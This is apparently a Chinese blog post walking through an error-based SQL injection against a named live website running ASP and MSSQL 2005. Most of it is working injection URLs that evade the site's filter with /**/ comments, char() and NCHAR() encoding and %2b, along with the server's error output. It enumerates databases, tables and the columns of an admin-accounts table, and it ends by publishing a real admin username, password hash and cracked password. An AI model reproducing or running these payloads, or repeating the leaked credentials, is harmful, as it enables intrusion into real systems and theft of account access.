mssql 有趣的注入

这个注入点：http://www.mydcis.net/temp.asp?ID=1
这个网站有 sql 注入，但是他会拦截空格，单引号，分号，而且括号后面不能有字母，如果有的话，他会拦截，并且提示：

本操作将可能危害数据安全, 请确认你提交的信息。
有任何问题请联系系统管理员。

首先用 order by 探测字段数，发现有 45 个字段，这个手工不太适合，但是这个网站可以显错，所以，我们用报错注入
【1】首先我们看看他是什么版本的数据库，
http://www.mydcis.net/temp.asp?ID=@@version
由于这个是数字型的注入，所以我们不用引号将其闭合，而且我们在这里直接输入@@vesion 就会报错
报错信息：

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.1399.06 (X64) Oct 14 2005 00:35:21 Copyright (c) 1988-2005 Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) ' 转换成数据类型 int 时失败。

/temp.asp，行 25

【2】当前数据库：
http://www.mydcis.net/temp.asp?ID=db_name()
报错信息：

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

在将 nvarchar 值 'Web' 转换成数据类型 int 时失败。

/temp.asp，行 25

这里有个小技巧，就是向 db_name()中传递参数可以查其他的数据库，比如：
http://www.mydcis.net/temp.asp?ID=db_name(1)
报错信息：

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

在将 nvarchar 值 'master' 转换成数据类型 int 时失败。

/temp.asp，行 25

这个递增这个数字就可以查询了

【2】我们查询 Web 的表，也就是当前数据库的表：
由于不能使用单引号，所以，
select top 1 name from 数据库.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('表名')
这样的就用不了，我们这个时候就要用到数据库的分页查询来遍历数据库的表名：
首先是是分页的原理：
这个帖子 http://www.cnblogs.com/Bulid-For-NET/archive/2012/12/16/2820097.html
里面列举了四种分页的效果
我选
```
select top 10 *
from
(
 select row_number() over(order by id) as rownumber,* from test
) A
where rownumber > 40
```

这个方法来做分页
于是我们可以这样爆第一个表：
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/name/**/from/**/(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,*/**/from/**/Web.sys.all_objects/**/where/**/type=char(85))A/**/where/**/rownumber>=1/**/and/**/rownumber<=1)>0
报错信息：

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

在将 nvarchar 值 '上传文件' 转换成数据类型 int 时失败。

/temp.asp，行 25

爆第二个表：
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/name/**/from/**/(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,*/**/from/**/Web.sys.all_objects/**/where/**/type=char(85))A/**/where/**/rownumber>=2/**/and/**/rownumber<=2)>0

报错信息：

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

在将 nvarchar 值 '友情链接' 转换成数据类型 int 时失败。

/temp.asp，行 25

然后我爆到了：管理帐户，这个表
对了，这里有个小技巧，就是，上面爆表中的其中有有一个地方本来是这样写的 where type='U'，但是由于不能出单引号，所以要这样写：where type=char(85)

【3】爆字段：
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/COLUMN_NAME/**/from(/**/select/**/row_number()/**/over(/**/order/**/by/**/ORDINAL_POSITION)/**/as/**/rownumber,*/**/from/**/Web.information_schema.columns/**/where/**/TABLE_NAME=NCHAR(31649)%2bNCHAR(29702)%2bnchar(24080)%2bnchar(25143))/**/A/**/where/**/rownumber>=2/**/and/**/rownumber<=2)>0
报错信息：

Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

在将 nvarchar 值 '用户名' 转换成数据类型 int 时失败。

/temp.asp，行 25

这个有个小技巧，由于这里的表名是中文：
所以，我们查表的时候：要用到 sql server 的 unicode 和 nchar 这两个函数
首先，我们在 sql server 中的企业管理器中查询做这样的查询：

select unicode('管'),得到的结果是 31649，然后我们依次查询出来：
“管理帐户”这四个字的值：
然后我们再用四个值用 nchar 转换出来看看效果：
select
NCHAR(31649)+NCHAR(29702)+nchar(24080)+nchar(25143)

结果：
管理账户

ok，好了，就这样拼到“where TABLE_NAME=”
后面做查询。
这里依然有个小技巧：
在实际注入的时候不能使用“+”这个符号
要用%2b 做代替

我爆到数据库 Web，表为：管理帐户 的字段为：

编号 用户名 前台用户名 密码 姓名 电话 最后时间 网站代码
【4】爆数据：
http://www.mydcis.net/temp.asp?ID=1/**/And/**/
(/**/select/**/top/**/1/**/%d3%c3%bb%a7%c3%fb/**/from/**/
%b9%dc%c0%ed%d5%ca%bb%a7)>0
由于这里面的表名和字段名都是中文
所以我们在这里做一些 urlencode 编码的转换

http://tool.chinaz.com/Tools/URLEncode.aspx
这个网站提供这样的转换，我们在这里选择 gb2312,然后将中文转换为对应的 url 编码

然后就可以查出数据了：

用户名：
stgst

密码：
3f9aa31e9b129d97 （破解之后：6351365ok）